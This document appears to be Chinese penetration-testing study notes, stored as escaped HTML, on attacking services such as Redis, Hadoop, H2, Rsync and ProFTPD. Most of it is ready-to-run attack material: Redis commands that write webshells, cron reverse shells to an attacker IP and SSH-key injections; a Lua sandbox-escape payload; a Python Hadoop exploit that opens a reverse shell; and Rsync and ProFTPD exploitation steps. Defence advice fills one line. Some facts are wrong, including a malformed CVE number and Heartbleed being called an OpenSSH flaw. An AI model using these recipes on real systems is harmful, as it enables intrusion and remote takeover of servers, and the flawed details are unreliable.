\u5e94\u7528\u670d\u52a1\u5b89\u5168\u6d4b\u8bd5\u6d41\u7a0b\uff1a<\/p>\n\n\n\n
- \n
- \u5224\u65ad\u670d\u52a1\u5f00\u53d1\u60c5\u51b5-\u7aef\u53e3\u626b\u63cf&\u5e94\u7528\u7ec4\u5408\u731c\u6d4b\u7b49<\/li>\n\n\n\n
- \u5224\u65ad\u670d\u52a1\u7c7b\u578b-\u6570\u636e\u5e93&\u6587\u4ef6\u4f20\u8f93&\u901a\u8baf\u7b49<\/li>\n\n\n\n
- \u5224\u65ad\u670d\u52a1\u5229\u7528\u65b9\u5f0f-\u7279\u5b9a\u6f0f\u6d1e&\u672a\u6388\u6743&\u5f31\u53e3\u4ee4<\/li>\n<\/ol>\n\n\n\n
Redis<\/h3>\n\n\n\n
Redis\u9ed8\u8ba4\u7aef\u53e36379\uff1b\u9ed8\u8ba4\u672a\u914d\u7f6e\u5bc6\u7801\u4e14require 127.0.0.1\u88ab\u6ce8\u91ca\uff08\u5f02\u5730\u53ef\u8fde\u63a5Redis\uff09\uff0c\u82e5\u4e0d\u914d\u7f6e\u5219\u53ef\u4ee5\u4f7f\u7528redis-cli\u5de5\u5177\u8fde\u63a5Redis\u5b9e\u73b0\u672a\u6388\u6743\u8bbf\u95ee\uff0c\u7136\u540e\u8fdb\u884c\u540e\u7eed\u64cd\u4f5c\u3002<\/p>\n\n\n\n
\u5199WebShell<\/h4>\n\n\n\n
\u5229\u7528\u6761\u4ef6\uff1a\u6709WEB\u76ee\u5f55\u53ef\u8bfb\u5199\u6743\u9650<\/p>\n\n\n\n
config set dir \/tmp #\u8bbe\u7f6e\u5199\u5165\u7684\u76ee\u5f55\nconfig set dbfilename Miku.php #\u5199\u5165\u6587\u4ef6\u540d\nset test\"<?php phpinfo();?>\" #\u5199\u5165php\u4ee3\u7801\nbgsave #\u4fdd\u5b58\u6267\u884c\nsave #\u4fdd\u5b58\u6267\u884c<\/code><\/pre>\n\n\n\n\u5199\u5b9a\u65f6\u4efb\u52a1\u53cd\u5f39shell<\/h4>\n\n\n\n
\u5229\u7528\u6761\u4ef6\uff1a\u5141\u8bb8\u5f02\u5730\u767b\u5f55\uff1b\u5b89\u5168\u6a21\u5f0fprotected-mode\u5904\u4e8e\u5173\u95ed<\/p>\n\n\n\n
config set dir \/var\/spool\/cron\nset yy \"\\n\\n\\n***** bash -i >&\/dev\/tcp\/[\u653b\u51fb\u673aip]\/[\u76d1\u542c\u7aef\u53e3] 0>&1\\n\\n\\n\"\nconfig set dbfilename Miku\nsave<\/code><\/pre>\n\n\n\n\u5199\u5165Linux ssh-key\u516c\u94a5<\/h4>\n\n\n\n
\u5229\u7528\u6761\u4ef6\uff1a\u5141\u8bb8\u5f02\u5730\u767b\u5f55\uff1bRedis\u670d\u52a1\u4f7f\u7528root\u8d26\u53f7\u542f\u52a8\uff1b\u5b89\u5168\u6a21\u5f0fprotected-mode\u5904\u4e8e\u5173\u95ed\uff1b\u5141\u8bb8\u4f7f\u7528\u5bc6\u94a5\u767b\u5f55\uff08\u5373\u53ef\u8fdc\u7a0b\u5199\u5165\u4e00\u4e2a\u516c\u94a5\u7528\u4e8e\u8fdc\u7a0b\u767b\u5f55\u670d\u52a1\u5668\uff09<\/p>\n\n\n\n
ssh-keygen -t rsa #\u5728\u653b\u51fb\u673a\u4e0a\u751f\u6210\u4e00\u4e2a\u5bc6\u94a5\ncd \/root\/.ssh\/ #\u8bbf\u95ee\u5bc6\u94a5\u5b58\u653e\u76ee\u5f55\n(echo -e \"\\n\\n\";cat id_rsa.pub;echo -e \"\\n\\n\")>key.txt #\u628a\u5bc6\u94a5\u5199\u5165key.txt\ncat key.txt | redis-cli -h [ip] -x set Miku #\u7528redis-cli\u8fde\u63a5Redis\u5e76\u5c06\u5bc6\u94a5\u5bf9\u547d\u540d\u4e3aMiku\u4fdd\u5b58\u5728\u76ee\u6807\u670d\u52a1\u5668\u4e0a\nconfig set dir \/root\/.ssh\/ #\u5728\u76ee\u6807\u673a\u4e0a\u8bbe\u7f6e\u5199\u5165\u76ee\u5f55\nconfig set dbfilename authorized_keys #\u5728\u76ee\u6807\u673a\u4e0a\u8bbe\u7f6e\u5199\u5165\u6587\u4ef6\u540d\nsave\ncd \/root\/.ssh\/ #\u5728\u653b\u51fb\u673a\u4e0a\u8bbf\u95ee\u5bc6\u94a5\u5b58\u653e\u76ee\u5f55\nssh -i id_rsa root@[ip] #\u7528\u4e4b\u524d\u751f\u6210\u7684\u5bc6\u94a5\u767b\u5f55\u76ee\u6807\u670d\u52a1\u5668<\/code><\/pre>\n\n\n\nRCE\u81ea\u52a8\u5316\u5229\u7528\u811a\u672c-vulfocus<\/h4>\n\n\n\n
\u5229\u7528\u811a\u672c\uff1aGitHub – vulhub\/redis-rogue-getshell: redis 4.x\/5.x master\/slave getshell module<\/a><\/p>\n\n\n\n
python redis-master.py -r [\u76ee\u6807ip] -p [\u76ee\u6807\u7aef\u53e3] -L [\u653b\u51fb\u673aip] -P [\u76d1\u542c\u7aef\u53e3] -f RedisModulesSDK\/exp.so -c \"id\"<\/code><\/pre>\n\n\n\n\u201cid\u201d\u53ef\u6362\u6210\u5176\u5b83\u547d\u4ee4\u6bd4\u5982\u53cd\u5f39shell<\/p>\n\n\n\n
\u6c99\u7bb1\u7ed5\u8fc7RCE CVE-2022-0543<\/h4>\n\n\n\n
\u8fde\u63a5redis\u540e\u672c\u53ef\u4ee5\u901a\u8fc7eval\u6267\u884clua\u811a\u672c\uff0c\u4f46\u7531\u4e8elua\u811a\u672c\u662f\u5728\u6c99\u7bb1\u73af\u5883\u4e2d\u65e0\u6cd5\u88ab\u6267\u884c\u3002\u4f46\u662fDebian\u81ea\u52a8\u4e86\u4e00\u4e2apackage\u53d8\u91cf\uff0c\u8be5\u53d8\u91cf\u5141\u8bb8\u8bbf\u95ee\u4efb\u610flua\u529f\u80fd\u3002\u4e8e\u662f\u53ef\u4ee5\u501f\u52a9\u53d8\u91cfpackage\u7684loadlib\u51fd\u6570\u6765\u52a0\u8f7d\u52a8\u6001\u94fe\u63a5\u5e93\/usr\/lib\/x86_64-linux-gnu\/liblua5.1.so.0\u91cc\u7684\u5bfc\u51fa\u51fd\u6570luaopen_io\u3002\u5728Lua\u4e2d\u6267\u884c\u8be5\u5bfc\u51fa\u51fd\u6570\u5373\u53ef\u83b7\u5f97io\u5e93\uff0c\u7136\u540e\u4f7f\u7528\u5b83\u6765\u6267\u884c\u547d\u4ee4\uff1a<\/p>\n\n\n\n
local io_l = package.loadlib(\"\/usr\/lib\/x86_64-linux-gnu\/liblua5.1.so.0\", \"luaopen_io\");\nlocal io = io_l();\nlocal f = io.popen(\"id\", \"r\"); #id\u662f\u53ef\u66f4\u6539\u7684\u5f85\u6267\u884c\u547d\u4ee4\nlocal res = f:read(\"*a\");\nf:close();\nreturn res<\/code><\/pre>\n\n\n\n\u6839\u636e\u4ee5\u4e0a\u547d\u4ee4\u601d\u8def\u53ef\u4ee5\u5f97\u5230Payload\uff1a<\/p>\n\n\n\n
eval 'local io_l = package.loadlib(\"\/usr\/lib\/x86_64-linux-gnu\/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"uname -a\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0<\/code><\/pre>\n\n\n\nMysql<\/h3>\n\n\n\n
CVE-2012-2122 Mysql\u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e\uff1a\u5f53\u8fde\u63a5MariaDB\/MySQL\u65f6\uff0c\u8f93\u5165\u7684\u5bc6\u7801\u4f1a\u4e0e\u671f\u671b\u7684\u6b63\u786e\u5bc6\u7801\u6bd4\u8f83\uff0c\u7531\u4e8e\u4e0d\u6b63\u786e\u7684\u5904\u7406\uff0c\u4f1a\u5bfc\u81f4\u5373\u4fbf\u662fmemcmp()\u8fd4\u56de\u4e00\u4e2a\u975e\u96f6\u503c\uff0c\u4e5f\u4f1a\u4f7fMySQL\u8ba4\u4e3a\u4e24\u4e2a\u5bc6\u7801\u662f\u76f8\u540c\u7684\u3002 \u4e5f\u5c31\u662f\u8bf4\u53ea\u8981\u77e5\u9053\u7528\u6237\u540d\uff0c\u4e0d\u65ad\u5c1d\u8bd5\u5c31\u80fd\u591f\u76f4\u63a5\u767b\u5165SQL\u6570\u636e\u5e93\u3002\u6309\u7167\u516c\u544a\u8bf4\u6cd5\u5927\u7ea6256\u6b21\u5c31\u80fd\u591f\u8499\u5bf9\u4e00\u6b21\u3002<\/p>\n\n\n\n
Mysql\u9ed8\u8ba4\u914d\u7f6eroot\u7528\u6237\uff0c\u800croot\u7528\u6237\u62d2\u7edd\u8fdc\u7a0b\u8fde\u63a5\u8bf7\u6c42\uff0c\u4f46\u53ef\u4ee5\u501f\u52a9phpmyadmin\u731c\u89e3\u767b\u5f55\u6570\u636e\u5e93\u3002<\/p>\n\n\n\n
Hadoop<\/h3>\n\n\n\n
Hadoop\u662f\u4e00\u4e2a\u7531Apache\u57fa\u91d1\u4f1a\u6240\u5f00\u53d1\u7684\u5206\u5e03\u5f0f\u7cfb\u7edf\u57fa\u7840\u67b6\u6784\uff0c\u7531\u4e8e\u670d\u52a1\u5668\u76f4\u63a5\u5728\u5f00\u653e\u4e86 Hadoop \u673a\u5668 HDFS \u7684 50070 web \u7aef\u53e3\u53ca\u90e8\u5206\u9ed8\u8ba4\u670d\u52a1\u7aef\u53e3\uff0c\u9ed1\u5ba2\u53ef\u4ee5\u901a\u8fc7\u547d\u4ee4\u884c\u64cd\u4f5c\u591a\u4e2a\u76ee\u5f55\u4e0b\u7684\u6570\u636e\uff0c\u5982\u8fdb\u884c\u5220\u9664\uff0c\u4e0b\u8f7d\uff0c\u76ee\u5f55\u6d4f\u89c8\u751a\u81f3\u547d\u4ee4\u6267\u884c\u7b49\u64cd\u4f5c\uff0c\u4ea7\u751f\u6781\u5927\u7684\u5371\u5bb3\u3002<\/p>\n\n\n\n
\u601d\u8def\uff1a\u672a\u6388\u6743\u8bbf\u95ee\u914d\u5408\u5185\u7f6e\u547d\u4ee4RCE\uff08RCE\u5f39\u4e2ashell\uff09<\/p>\n\n\n\n
EXP\uff1a<\/p>\n\n\n\n
import requests\n\ntarget = \u2018http:\/\/192.168.1.8:8088\/\u2019\nlhost = \u2018192.168.1.8\u2019 # \u653b\u51fb\u65b9\u7684IP\u5730\u5740\n\nurl = target + \u2018ws\/v1\/cluster\/apps\/new-application\u2019\nresp = requests.post(url)\napp_id = resp.json()[\u2018application-id\u2019]\nurl = target + \u2018ws\/v1\/cluster\/apps\u2019\ndata = {\n\u2018application-id\u2019: app_id,\n\u2018application-name\u2019: \u2018get-shell\u2019,\n\u2018am-container-spec\u2019: {\n\u2018commands\u2019: {\n\u2018command\u2019: \u2018\/bin\/bash -i >& \/dev\/tcp\/%s\/9999 0>&1\u2019 % lhost,\n},\n},\n\u2018application-type\u2019: \u2018YARN\u2019,\n}\nrequests.post(url, json=data)<\/code><\/pre>\n\n\n\n\u9632\u5fa1\u624b\u6bb5\uff1a\u5982\u65e0\u5fc5\u8981\u5219\u5173\u95edHadoop Web\u7ba1\u7406\u9875\u9762\uff1b\u5f00\u542f\u8eab\u4efd\u9a8c\u8bc1\u9632\u6b62\u672a\u6388\u6743\u8bbf\u95ee\uff1b\u8bbe\u7f6e\u5b89\u5168\u7ec4\u8bbf\u95ee\u63a7\u5236\u7b56\u7565\uff0c\u9650\u5236Hadoop\u9ed8\u8ba4\u5f00\u653e\u7684\u591a\u4e2a\u7aef\u53e3\u5728\u516c\u7f51\u4e0a\u7684\u8bbf\u95ee\u6743\u9650\u5305\u62ec50070\u4ee5\u53caWebUI\u7b49\u7aef\u53e3\u3002<\/p>\n\n\n\n
influxdb-\u672a\u6388\u6743\u8bbf\u95ee-jwt\u9a8c\u8bc1\u4e0d\u5f53<\/h3>\n\n\n\n
\u9ed8\u8ba4\u7aef\u53e3\uff1a8086\uff0c8088<\/p>\n\n\n\n
influxdb\u662f\u4e00\u6b3e\u8457\u540d\u7684\u65f6\u5e8f\u6570\u636e\u5e93\uff0c\u5176\u4f7f\u7528jwt\u4f5c\u4e3a\u9274\u6743\u65b9\u5f0f\u3002\u5728\u7528\u6237\u5f00\u542f\u4e86\u8ba4\u8bc1\u4f46\u6ca1\u8bbe\u7f6e\u53c2\u6570shared-secret\u65f6\uff0cjwt\u7684\u8ba4\u8bc1\u5bc6\u94a5\u4e3a\u7a7a\u5b57\u7b26\u4e32\uff0c\u6b64\u65f6\u653b\u51fb\u8005\u53ef\u4f2a\u9020\u4efb\u610f\u7528\u6237\u8eab\u4efd\u5728influxdb\u4e2d\u6267\u884csql\u8bed\u53e5\u3002\u6b65\u9aa4\uff1a<\/p>\n\n\n\n
1.\u501f\u52a9jwt.io\u751f\u6210jwt-token\uff1a{“alg”:”HS256″,”typ”:”JWT”}{“username”:”admin”,”exp”:1676346267} #exp\u662f\u65f6\u95f4\u6233\uff08\u65f6\u95f4\u7684\u4e00\u4e2a\u683c\u5f0f\uff0c\u53ef\u4e0e\u5e74\u6708\u65e5\u5206\u79d2\u76f8\u4e92\u8f6c\u6362\uff09\uff0c\u4ee3\u8868token\u7684\u8fc7\u671f\u65f6\u95f4\uff0c\u8981\u8bbe\u7f6e\u4e00\u4e2a\u672a\u6765\u7684\u65f6\u95f4\u6233\u3002<\/p>\n\n\n\n
2.\u53d1\u9001\u5e26\u6709jwt-token\u7684\u6570\u636e\u5305\u89e6\u53d1\u672a\u6388\u6743\u64cd\u4f5c\uff0c\u6570\u636e\u5305\u6784\u9020\u65b9\u5f0f\u53ef\u4ee5\u5728vulhub.org\u4e0a\u67e5\u627e\u3002<\/p>\n\n\n\n
H2database-\u672a\u6388\u6743\u8bbf\u95ee-\u914d\u7f6e\u4e0d\u5f53<\/h3>\n\n\n\n
\u9ed8\u8ba4\u7aef\u53e3\uff1a20051\uff1b\u9ed8\u8ba4\u7aef\u53e3\u4e0d\u4ee3\u8868WEB\u7ba1\u7406\u9875\u9762\u9ed8\u8ba4\u7aef\u53e3<\/p>\n\n\n\n
H2database\u662f\u4e00\u6b3ejava\u5185\u5b58\u6570\u636e\u5e93\uff0c\u591a\u7528\u4e8e\u5355\u5143\u6d4b\u8bd5\u3002\u81ea\u5e26\u4e00\u4e2aWEB\u7ba1\u7406\u9875\u9762\uff0c\u5728spring\u5f00\u53d1\u4e2d\uff0c\u82e5\u8bbe\u7f6e\u9009\u9879spring.h2.console.enabled\u548cspring.h2.console.settings.web-allow-others\u4e3atrue\uff08\u5373\u5141\u8bb8\u5916\u90e8\u7528\u6237\u8bbf\u95eeWEB\u7ba1\u7406\u9875\u9762\uff09\uff0c\u4e14\u6ca1\u6709\u9274\u6743\uff0c\u5219\u53ef\u4ee5\u5229\u7528\u8be5\u7ba1\u7406\u9875\u9762\u8fdb\u884cJNDI\u6ce8\u5165\u653b\u51fb\uff0c\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002\u6b65\u9aa4\uff1a<\/p>\n\n\n\n
1.\u4e0b\u8f7dJNDI-Injection-Exploit\uff1aGitHub – welk1n\/JNDI-Injection-Exploit: JNDI\u6ce8\u5165\u6d4b\u8bd5\u5de5\u5177\uff08A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc\uff09<\/a><\/p>\n\n\n\n
2.\u751f\u6210RMI Payload-URL\uff1a<\/p>\n\n\n\n
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C [\u8981\u6267\u884c\u7684\u547d\u4ee4] -A [\u653b\u51fb\u673aip] <\/code><\/pre>\n\n\n\n3.\u5728H2\u7684WEB\u7ba1\u7406\u9875\u9762\u767b\u5f55\u53e3\uff0c\u5c06\u751f\u6210\u7684RMI Payload-URL\u586b\u5165JDBC URL\u4f7f\u5176\u8fdc\u7a0b\u52a0\u8f7d\u751f\u6210\u7684Payload\uff0cDriver Class\u586b\u5165javax.naming.InitialContext\uff0c\u63d0\u4ea4\u6267\u884c\u3002<\/p>\n\n\n\n
![\"\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/figure>\n\n\n\n\u6574\u4e2a\u6d41\u7a0b\u5c31\u50cf\u662f\u5728\u653b\u51fb\u673a\u751f\u6210\u4e00\u4e2a\u76d1\u542c\uff0c\u7136\u540e\u8ba9H2\u5411\u653b\u51fb\u673a\u53d1\u8d77\u8bf7\u6c42\u5e76\u63a5\u6536\u5904\u7406\u653b\u51fb\u4ee3\u7801\u3002<\/p>\n\n\n\n
CouchDB-\u6743\u9650\u7ed5\u8fc7\u914d\u5408RCE-\u6f0f\u6d1e<\/h3>\n\n\n\n
\u9ed8\u8ba4\u7aef\u53e3\uff1a5984<\/p>\n\n\n\n
Apache CouchDB\u662f\u4e00\u4e2a\u5f00\u6e90\u6570\u636e\u5e93\uff0c\u4f7f\u7528JSON\u4f5c\u4e3a\u5b58\u50a8\u683c\u5f0f\uff0cJavaScript\u4f5c\u4e3a\u67e5\u8be2\u8bed\u8a00\uff0cMapReduce\u548cHTTP\u4f5c\u4e3aAPI\u7684NoSQL\u6570\u636e\u5e93\uff08\u9762\u5411\u6587\u6863\uff09\u3002<\/p>\n\n\n\n
CVE-2017-12635\uff1a\u53d1\u9001\u521b\u5efa\u89d2\u8272\u4e14”roles”:[“_admin”]\u7684\u6570\u636e\u5305\u540e\u4f1a\u8fd4\u56de403\u62a5\u9519\uff0c\u63d0\u793a\u4ec5\u7ba1\u7406\u5458\u53ef\u8bbe\u7f6eroles\u3002\u53d1\u9001\u5305\u542b\u4e24\u4e2aroles\u7684\u6570\u636e\u5305\u5373\u53ef\u7ed5\u8fc7\u9650\u5236\uff0c\u7b2c\u4e00\u4e2aroles\u4e3aadmin\uff0c\u7b2c\u4e8c\u4e2a\u4e3a\u7a7a\uff0c\u5177\u4f53\u6570\u636e\u5305\u7684\u6784\u9020\u65b9\u5f0f\uff0c\u67e5\u9605\u8be5\u6f0f\u6d1e\u62a5\u544a\u5373\u53ef\u3002<\/p>\n\n\n\n
CVE-2017-12636\uff1a\u5229\u7528\u7f51\u4e0aexp\u5b9e\u73b0RCE\uff0c\u8be6\u7ec6\u5185\u5bb9\u53ef\u5728\u7f51\u4e0a\u67e5\u627e\u8be5CVE\u3002<\/p>\n\n\n\n
ElasticSearch-\u6587\u4ef6\u5199\u5165&RCE-\u6f0f\u6d1e<\/h3>\n\n\n\n
\u9ed8\u8ba4\u7aef\u53e3\uff1a9200\uff0c9300<\/p>\n\n\n\n
Elasticsearch\u662f\u4e00\u4e2a\u57fa\u4e8eLucene\u7684\u641c\u7d22\u670d\u52a1\u5668\uff0c\u63d0\u4f9b\u4e86\u4e00\u4e2a\u5206\u5e03\u5f0f\u591a\u7528\u6237\u80fd\u529b\u7684\u5168\u6587\u641c\u7d22\u5f15\u64ce\uff08Java\u5f00\u53d1\uff09\u3002<\/p>\n\n\n\n
CVE-2015-110216\uff08\u6587\u4ef6\u5199\u5165\uff09\uff1aElasticSearch\u5177\u6709\u5907\u4efd\u6570\u636e\u7684\u529f\u80fd\uff0c\u7528\u6237\u53ef\u4ee5\u4f20\u5165\u4e00\u4e2a\u8def\u5f84\uff0c\u8ba9\u5176\u5c06\u6570\u636e\u5907\u4efd\u5230\u8be5\u8def\u5f84\u4e0b\uff0c\u4e14\u6587\u4ef6\u540d\u548c\u540e\u7f00\u90fd\u53ef\u63a7\u3002\u6240\u4ee5\uff0c\u5982\u679c\u540c\u6587\u4ef6\u7cfb\u7edf\u4e0b\u8fd8\u8dd1\u7740\u5176\u4ed6\u670d\u52a1\uff0c\u5982Tomcat\u3001PHP\u7b49\uff0c\u6211\u4eec\u53ef\u4ee5\u5229\u7528ElasticSearch\u7684\u5907\u4efd\u529f\u80fd\u5199\u5165\u4e00\u4e2awebshell\u3002<\/p>\n\n\n\n
CVE-2014-3120\uff08RCE\uff09\uff1aElasticsearch 1.2\u4e4b\u524d\u7684\u7248\u672c\u9ed8\u8ba4\u914d\u7f6e\u542f\u7528\u4e86\u52a8\u6001\u811a\u672c\uff0c\u8be5\u811a\u672c\u5141\u8bb8\u8fdc\u7a0b\u653b\u51fb\u8005\u901a\u8fc7 _search \u7684 source \u53c2\u6570\u6267\u884c\u4efb\u610f MVEL \u8868\u8fbe\u5f0f\u548c Java \u4ee3\u7801\u3002<\/p>\n\n\n\n
\u7b2c\u4e8c\u5341\u4e00\u5929\uff1a\u670d\u52a1\u653b\u9632-\u5e94\u7528\u534f\u8bae<\/h2>\n\n\n\n
\u53e3\u4ee4\u731c\u89e3-Hydra-FTP&RDP&SSH<\/h3>\n\n\n\n
FTP\uff08\u6587\u4ef6\u4f20\u8f93\u534f\u8bae\uff09\u9ed8\u8ba4\u7aef\u53e3\uff1a21\uff1bRDP(Windows\u8fdc\u7a0b\u684c\u9762\u534f\u8bae)\uff1a3389\uff1bSSH(Linux\u5b89\u5168\u5916\u58f3\u534f\u8bae)\uff1a22<\/p>\n\n\n\n
Hydra\u81ea\u52a8\u5316\u7834\u89e3\u5de5\u5177\uff0c\u652f\u6301\u591a\u79cd\u534f\u8bae\u7206\u7834\uff0c\u5df2\u96c6\u6210\u4e8eKali\u7cfb\u7edf\u3002<\/p>\n\n\n\n
- \n
- -s PORT #\u6307\u5b9a\u975e\u9ed8\u8ba4\u7aef\u53e3<\/li>\n\n\n\n
- -l LOGIN #\u6307\u5b9a\u7834\u89e3\u7684\u7528\u6237<\/li>\n\n\n\n
- -L FILE #\u6307\u5b9a\u7528\u6237\u540d\u5b57\u5178<\/li>\n\n\n\n
- -p PASS #\u5c0f\u5199p\u6307\u5b9a\u5bc6\u7801\uff0c\u4e00\u822c\u7528\u5bc6\u7801\u5b57\u5178\uff0c\u6545\u5c11\u7528<\/li>\n\n\n\n
- -P FILE #\u5927\u5199p\u6307\u5b9a\u5bc6\u7801\u5b57\u5178<\/li>\n\n\n\n
- -e ns #\u53ef\u9009\u9009\u9879\uff0cn\uff1a\u7a7a\u5bc6\u7801\u8bd5\u63a2\uff0cs\uff1a\u4f7f\u7528\u6307\u5b9a\u7528\u6237\u5bc6\u7801\u8bd5\u63a2<\/li>\n\n\n\n
- -C FILE #\u4f7f\u7528\u5192\u53f7\u5206\u5272\u683c\u5f0f\uff0c\u4f8b\u5982\u201c\u767b\u5f55\u540d:\u5bc6\u7801\u201d\u6765\u4ee3\u66ff-L\/-P\u53c2\u6570<\/li>\n\n\n\n
- -M FILE #\u6307\u5b9a\u76ee\u6807\u5217\u8868\u6587\u4ef6\u4e00\u884c\u4e00\u6761<\/li>\n\n\n\n
- -o FILE #\u6307\u5b9a\u7ed3\u679c\u8f93\u51fa\u6587\u4ef6<\/li>\n\n\n\n
- -f #\u5728\u4f7f\u7528-M\u53c2\u6570\u540e\u627e\u5230\u7b2c\u4e00\u5bf9\u767b\u5f55\u540d\u6216\u5bc6\u7801\u65f6\u5019\uff0c\u505c\u6b62\u7834\u89e3<\/li>\n\n\n\n
- -t TASKS #\u540c\u65f6\u8fd0\u884c\u7684\u7ebf\u7a0b\u6570\uff0c\u9ed8\u8ba4\u4e3a16<\/li>\n\n\n\n
- -w TIME #\u8bbe\u7f6e\u6700\u5927\u8d85\u65f6\u7684\u65f6\u95f4\uff0c\u5355\u4f4d\u79d2\uff0c\u9ed8\u8ba4\u4e3a30s<\/li>\n\n\n\n
- -v\/-V #\u663e\u793a\u8be6\u7ec6\u8fc7\u7a0b<\/li>\n\n\n\n
- server #\u76ee\u6807ip<\/li>\n\n\n\n
- service #\u6307\u5b9a\u670d\u52a1\u540d<\/li>\n<\/ul>\n\n\n\n
Rsync\u6587\u4ef6\u5907\u4efd-\u914d\u7f6e\u4e0d\u5f53-\u672a\u6388\u6743\u8bbf\u95ee<\/h3>\n\n\n\n
Rsync\u662fLinux\u4e0b\u7684\u4e00\u6b3e\u6570\u636e\u5907\u4efd\u5de5\u5177\uff0c\u652f\u6301\u901a\u8fc7Rsync\u534f\u8bae\u3001ssh\u534f\u8bae\u8fdb\u884c\u8fdc\u7a0b\u6587\u4ef6\u4f20\u8f93\uff0c\u5176\u4e2dRsync\u534f\u8bae\u9ed8\u8ba4\u76d1\u542c873\u7aef\u53e3\u3002\u82e5\u76ee\u6807\u5f00\u542f\u4e86Rsync\u670d\u52a1\u4e14\u6ca1\u6709\u914d\u7f6eACL\u6216\u8bbf\u95ee\u5bc6\u7801\uff0c\u653b\u51fb\u8005\u5c06\u53ef\u4ee5\u8bfb\u5199\u76ee\u6807\u670d\u52a1\u5668\u6587\u4ef6\u3002<\/p>\n\n\n\n
\u5224\u65ad\uff1arsync rsync:\/\/[\u76ee\u6807ip]:873\/<\/p>\n\n\n\n
\u5229\u7528\uff1a<\/p>\n\n\n\n
- \n
- \u8bfb\u53d6\u6587\u4ef6\uff1arsync rsync:\/\/[\u76ee\u6807ip]:873\/src\/<\/li>\n\n\n\n
- \u4e0b\u8f7d\u6587\u4ef6\uff1arsync rsync:\/\/[\u76ee\u6807ip]:873\/src\/etc\/passwd .\/<\/li>\n\n\n\n
- \u4e0a\u4f20\u6587\u4ef6\uff1arsync -av passwd rsync:\/\/[\u76ee\u6807ip]:873\/src\/tmp\/passwd<\/li>\n<\/ul>\n\n\n\n
\u53cd\u5f39shell\uff08\u901a\u8fc7\u6dfb\u52a0\u8ba1\u5212\u4efb\u52a1\u89e6\u53d1\u53cd\u5f39shell\uff09\uff1a<\/p>\n\n\n\n
rsync rsync:\/\/[\u76ee\u6807ip]:873\/src\/etc\/crontab \/root\/cron.txt #\u83b7\u53d6\u4fe1\u606f\ntouch Miku #\u521b\u5efa\u6587\u4ef6\n\n\/*\u6587\u4ef6\u5185\u5bb9\n#!\/bin\/bash\n\/bin\/bash -i >& \/dev\/tcp\/[\u653b\u51fb\u673aip]\/[\u76d1\u542c\u7aef\u53e3] 0>&1\n*\/\n\nchmod +x Miku\nrsync -av Miku rsync:\/\/[\u76ee\u6807ip]:873\/src\/etc\/cron.hourly #\u4e0a\u4f20\u6587\u4ef6<\/code><\/pre>\n\n\n\n\u6216\u8005\u7528MSF\u7684use auxiliary\/scanner\/rsync\/modules_list\u914d\u5408fofa_viewer\u76f4\u63a5\u68ad\u54c8<\/p>\n\n\n\n
fofa_viewer\u5de5\u5177\uff08\u529f\u80fd\u7c7b\u4f3cfofa.io\u7684\u8d44\u4ea7\u722c\u866b\u5de5\u5177\uff09\uff1aGitHub – wgpsec\/fofa_viewer: A simple FOFA client written in JavaFX. Made by WgpSec, Maintained by f1ashine.<\/a><\/p>\n\n\n\n
FTP&ProFTPD\u642d\u5efa<\/h3>\n\n\n\n
proftp\u662f\u7528\u4e8e\u642d\u5efa\u57fa\u4e8eftp\u534f\u8bae\u7684\u5e94\u7528\u8f6f\u4ef6\uff1bProFTPD\u662fProFTPD\u56e2\u961f\u7684\u4e00\u5957\u5f00\u6e90\u7684FTP\u670d\u52a1\u5668\u8f6f\u4ef6\u3002<\/p>\n\n\n\n
CVE-2015-3306 proftpd\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\uff1aProFTPD 1.3.5\u4e2d\u7684mod_copy\u6a21\u5757\u5141\u8bb8\u8fdc\u7a0b\u653b\u51fb\u8005\u901a\u8fc7\u7ad9\u70b9cpfr\u548csite cpto\u547d\u4ee4\u8bfb\u53d6\u548c\u5199\u5165\u4efb\u610f\u6587\u4ef6\u3002\u4efb\u4f55\u672a\u7ecf\u8eab\u4efd\u9a8c\u8bc1\u7684\u5ba2\u6237\u7aef\u90fd\u53ef\u4ee5\u5229\u7528\u8fd9\u4e9b\u547d\u4ee4\u5c06\u6587\u4ef6\u4ece\u6587\u4ef6\u7cfb\u7edf\u7684\u4efb\u4f55\u90e8\u5206\u590d\u5236\u5230\u9009\u5b9a\u7684\u76ee\u6807\u3002 \u590d\u5236\u547d\u4ee4\u4f7f\u7528ProFTPD\u670d\u52a1\u7684\u6743\u9650\u6267\u884c\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u8be5\u670d\u52a1\u5728\u201cnobody\u201d\u7528\u6237\u7684\u6743\u9650\u4e0b\u8fd0\u884c\u3002 \u901a\u8fc7\u4f7f\u7528\/ proc \/ self \/ cmdline\u5c06PHP\u6709\u6548\u8d1f\u8f7d\u590d\u5236\u5230\u7f51\u7ad9\u76ee\u5f55\uff0c\u53ef\u4ee5\u5b9e\u73b0PHP\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u3002<\/p>\n\n\n\n
EXP\u5730\u5740\uff1ahttps:\/\/github.com\/t0kx\/exploit-CVE-2015-3306<\/a><\/p>\n\n\n\n
\u5229\u7528\uff1apython exploit.py –host [ip] –port [\u7aef\u53e3] –path “\/var\/www\/html\/”<\/p>\n\n\n\n
\u6267\u884cEXP\u540e\u8bbf\u95ee[ip]:[\u7aef\u53e3]\/backdorr.php?cmd=id #id\u53ef\u66f4\u6362\u5176\u4ed6\u547d\u4ee4<\/p>\n\n\n\n
SSH&libssh&OpenSSH<\/h3>\n\n\n\n
CVE-2014-0160\uff08OpenSSH\u5fc3\u810f\u6ef4\u8840\u6f0f\u6d1e\uff09\u8fc7\u4e45\uff0c\u57fa\u672c\u7528\u4e0d\u4e0a<\/p>\n\n\n\n
